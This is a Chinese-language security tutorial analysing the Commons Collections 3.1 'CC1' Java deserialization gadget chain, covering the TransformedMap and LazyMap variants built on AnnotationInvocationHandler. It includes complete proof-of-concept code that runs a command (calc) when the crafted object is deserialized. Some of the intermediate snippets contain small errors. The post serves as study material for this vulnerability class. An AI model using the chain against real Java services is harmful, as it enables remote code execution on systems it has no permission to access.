JAVA安全之CommonsCollections1
CommonsCollections1 (CC1链分析)
什么是Commons Collections?
根据维基百科的介绍,Apache Commons是Apache软件基金会的项目,曾隶属于Jakarta项目。Commons的目的是提供可重用的、开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
环境要求:JDK8U65,CommosCollections 3.1
Java 8u121之后被修复
TransformMap
我们想要利用的是JAVA反序列化来实现我们执行恶意代码的目的,我们在去寻找readObject这个序列化函数利用之前,我们可以去寻找我们能执行我们的恶意代码的地方,这里我们就可以使用org.apache.commons.collections.Transformer#transform这里面的transform方法来达到第一个目的
第一阶段----利用InvokerTransformer(找到可以RCE的点)
首先我们可以查看transformer.class这个文件里面
package org.apache.commons.collections;
public interface Transformer {
21 implenments
Object transform(Object var1);
}
这里面很多其他的类都实现了这个接口

这里就需要我们来一个一个的看一看有没有可以利用的地方了,这里有很多的类,我们看一看里面对transform方法的实现就OK了
##ChainedTransformer
private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}//这个transform方法对我们的对象进行了遍历,然后传递给了iTransformers[i]这个数组。
这个似乎对传入对象的类型是有要求的。
//ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
##ConstantTransformer
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}//这个方法实际就是调用了一下这个方法,返回构造方法里面的类而已。可以用来获取类。
##ClosureTransformer
private final Closure iClosure;
public Object transform(Object input) {
this.iClosure.execute(input);
return input;
}
//这里的excute最开始我是觉得有命令执行点的,但是这是没用的。
##InvokerTransformer
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
//这个就比较的有意思了,这里面反射得到invoke函数可以用来命令执行的,调用这个类里面的这个方法就能达到我们RCE的目的了
这个InvokerTransformer的规范使用
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});里面需要三个参数用来描述命令
这里实际上我们就可以联系之前的反射RCE来弹计算机了,我们可以使用ConstantTransformer这个类里面的transform方法来获取我们的Runtime类
new ConstantTransformer(Runtime.getRuntime());//普通的类可以实例化
这样我们再使用InvokerTransformer里面的transform方法来RCE
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
这里我们有两种思路
- 直接使用Runtime R=Runtime.getRuntime();,来代替ConstantTransformer的transform方法,作为InvokerTransformer的Object input.
- 找到能同时调用两个类里面的transform方法,这里我们可以使用ChainedTransformer里面的数组遍历的方式,然后实现对数组里面的对象的方法进行调用
第一种思路实现RCE
public class cc1 {
public static void main(String []args) throws Exception{
Runtime R=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
System.out.println(invokerTransformer.transform(R));
}
}
第二种思路数组遍历调用方法实现RCE
-
首先测试数组遍历是否能执行里面对象的方法
public class ceshi { // 定义一个函数,打印整数参数 public static void printNumber(int number) { System.out.println("打印数组元素: " + number); } public static void main(String[] args) { // 创建一个整数数组 int[] numbers = {1, 2, 3, 4, 5}; // 遍历数组,调用函数打印每个元素 for (int number : numbers) { printNumber(number); } } } 打印数组元素: 1 打印数组元素: 2 打印数组元素: 3 打印数组元素: 4 打印数组元素: 5测试成功,
public static void main(String []args) throws Exception{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
}
第二阶段---找到能形成链子的类和方法---》TransformedMap
在我们给出的CC1链子里面会有这一步

这里凭借猜测都会知道,这个肯定是调用了我们第一阶段里面的ChainedTransformer,这里我们直接通过下断点看他会进入哪里


这里调试之后去会进入TransformedMap这个类里面,开始分析这个类
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);
其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类。
Map innermap=new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
这里我们就得想了,我们用这个TransformedMap可以实现回调的功能但是我们的回调又如何触发嘞?
这里搜索得到,我们可以使用put方法写入键值来触发回调
outerMap.put("test", "xxxx");xxxxxxxxxx outer.outerMap.put("test", "xxxx");
这里我们就可以写出一个简单的demo了
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String []args) throws Exception{
Transformer[] transformers =new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("invoke", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap=new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("value","null");
}
}
这段代码成功的弹出了计算机,但是实际上我们还是在本地通过触发put方法进而触发我们的transform方法,然后成功执行恶意代码,下一阶段的目标就是通过我们的其他类来触发我们的transform方法。
第三阶段---实现完整的反序列化POC
接下来我们需要找到一个类,这个类重写了readObject(),并且readObject中直接或者间接的调用了刚刚找到的那几个方法:transformKey、transformValue、checkSetValue、put等等
AbstractMapEntryDecorator
我们直接开始从TransformedMap里面开始追踪,这里面的checkSetValue是调用了我们的transform方法的,所以

这里会追踪到AbstractInputCheckedMapDecorator里面的setValue方法

可以看到这个类实际上是继承于AbstractMapEntryDecorator

追踪到这我们可以总结出来,实际上我们想要调用transform方法就通过一系列的调用只要实现setValue的调用,我们就可以达到形成我们完整的反序列化调用链。
这里我分析时出现一个问题就是,为什么一定要去分析setValue呢?
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
这里调用这个SetValue的时候实际上也就是我们再简洁的调用了TransformeMap里面的装饰器功能,达到了我们对方法进行调用的目的,所以这里直接去找哪里重写的readObject,具体怎么找有待分析
AnnotationInvocationHandler
我们最终是想找到通过触发readObject来作为我们的反序列化调用的起点---》也就是在某个类里面的readObject方法里面去调用我们的具体的方法来实现调用链。
这里我们找到的是AnnotationInvocationHandler这个类

触发setValue方法,
-
语句
Map.Entry<String, Object> memberValue : memberValues.entrySet()用于遍历Map,String name = memberValue.getKey();语句和Object value = memberValue.getValue();语句用于获取键值对 -
这里
if(memberType !=null)满足条件就是我们去实现调用setValue的最终目的---》innerMap.put(1,1)就是用来满足条件的。 -
这个类是
sun.reflect.annotation.AnnotationInvocationHandler类,这个类是jdk自带的,不是第三方的,必须得利用反射来获取到这个类
这里又会有一个思考的地方就是我们的 constructor.newInstance这个方法实例化的类到底是什莫呢,
-
这里最开始是想直接使用一个transform.class,直接报错了

-
这里说是尝试去创建代理来获得非注解类型
注解类型的定义看起来和接口的定义很像,最早是在
interface关键词前加了at标志(@) (@ = AT, as in annotation type)。注解类型是接口的一种形式
- 简单来说就是有@的类都可以叫做注解类

这里我们使用Retention这个注解类,注解class,来获取构造函数,执行调用,利于反序列化操作。
public class cc1 {
public static void main(String []args) throws Exception{
Transformer[] transformers =new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("invoke", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap=new HashMap();
innerMap.put("value","null");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); //获取构造器
constructor.setAccessible(true); //修改作用域,提高反射速度
constructor.newInstance(Retention.class,outerMap);//实例化AnnotationInvocationHandler
}
}
这里就很奇怪了,我们执行成功了但是却没有成功弹出我们想要的计算机?
这里通过看了文章才知道,我们的调用Runtime.class的时候实际上是没有实现serialize接口的,所以我们就得使用其他方法反射得到方法
Class clazz = Runtime.class;
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Runtime runtime = (Runtime) getRuntimeMethod.invoke(null);
Class<? extends Runtime> runtimeClass = runtime.getClass();
Method execMethod = runtimeClass.getMethod("exec", String.class);
new ConstantTransformer(Runtime.class),
// 获取 Runtime 对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 获取 exec 的 Method 对象并调用 invoke 执行 calc
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
最终POC
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.Runtime;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor c = cls.getDeclaredConstructor(Class.class, Map.class);
c.setAccessible(true);
//序列化对象
Object o = c.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
oos.close();
ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
Object ob = (Object) ois.readObject();
}
}
LazyMap
LazyMap和TransformedMap类似,都来源于common-collections库,并继承AbstractMapDecorator
第一阶段----借助transformMap简单分析
我们之前分析transformMap的时候是直接从哪里调用transform方法开始寻找的,所以我们直接一样的搜索

这里我们直接进入LazyMap这个类里面去寻找调用了transform方法的的方法
//LazyMap
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);//protected final Transformer factory;
map.put(key, value);
return value;
}
return map.get(key);
}
我们首先看一看这段代码, if (map.containsKey(key) == false)这段代码会检查判断 Map 集合对象中是否包含指定的键名,这里检查到没有就会创建一个,factory.transform(key)这里就直接调用了我们的想用的transform方法,看到这我们就得去看一下这个类的构造方法。
你会看到有两个构造方法,根据之前学习transformap的写法,我们这里直接入口transformer类型
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
LazyMap(Map map, Transformer factory) 这两个变量是可控的,和之前也差不多,传一个map类,再把我们的核心transformChain放入第二个参数。就可以达到之前差不多的目的了
public class cc1 {
public static void main(String []args) throws Exception{
Transformer[] transformers =new Transformer[] {
new ConstantTransformer(Runtime.class),// 获取 Runtime 对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 获取 exec 的 Method 对象并调用 invoke 执行 calc
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap=new HashMap();
innerMap.put("value","null");
Map lazymap = LazyMap.decorate(innerMap, transformerChain);
lazymap.get("sss");
这段代码能够成功的弹出计算机来
第二阶段----实现调用
这里思路很清晰了,和之前的一样,我们还是得找到能触发get方法,并且能够让我们的transformerChain得到遍历,而且还得重写readObject方法,这里我们使用的就是老朋友 AnnotationInvocationHandler
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);
这里我们可以明显的看到这个类的invoke方法里面是调用了get方法的,所以我们这里就是直接利用他了
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class)首先我们这里得绕过这个if语句,这里直接乱传参数不等于equals就OK了else if (var5.length != 0)这里我们使用的无参调用来绕过,然后来到我们的get方法
这里我们得思考的是我们怎样才能让我们的invoke函数触发呢
class AnnotationInvocationHandler implements InvocationHandler, Serializable
这里继承了InvocationHandler接口,大胆猜测AnnotationInvocationHandler就是个注解类型的代理类,这里我们就联想到动态代理的知识了
- 在执行动态代理时会首先调用我们的InvocationHandler类里面的invoke方法,我们也就可以代理一个有
invoke函数的动态代理类 - 这里我们使用的就是我们的AnnotationInvocationHandler这个类,代理的时候就会直接触发这里的
get函数
这是AnnotationInvocationHandler这个类里面的invoke方法

实际上我们想要实现链子还得控制membervalue的值,我们必须知道,如何传入值
memberValues可通过反射获取构造函数传入proxyMap
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);//获取到AnnotationInvocationHandler这个类
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
用proxyMap调用任意方法即可触发invoke方法
POC
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.lang.Runtime;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor c = cls.getDeclaredConstructor(Class.class, Map.class);
c.setAccessible(true);
InvocationHandler handler = (InvocationHandler) c.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClass().getClassLoader(), Map.class.getClass().getInterfaces(), handler);
//序列化对象
Object o = c.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
oos.close();
ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
Object ob = (Object) ois.readObject();
}
}
局限
在Java 8u71以后,官方修改了sun.reflect.annotation.AnnotationInvocationHandler的readObject方法。
改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了。

浙公网安备 33010602011771号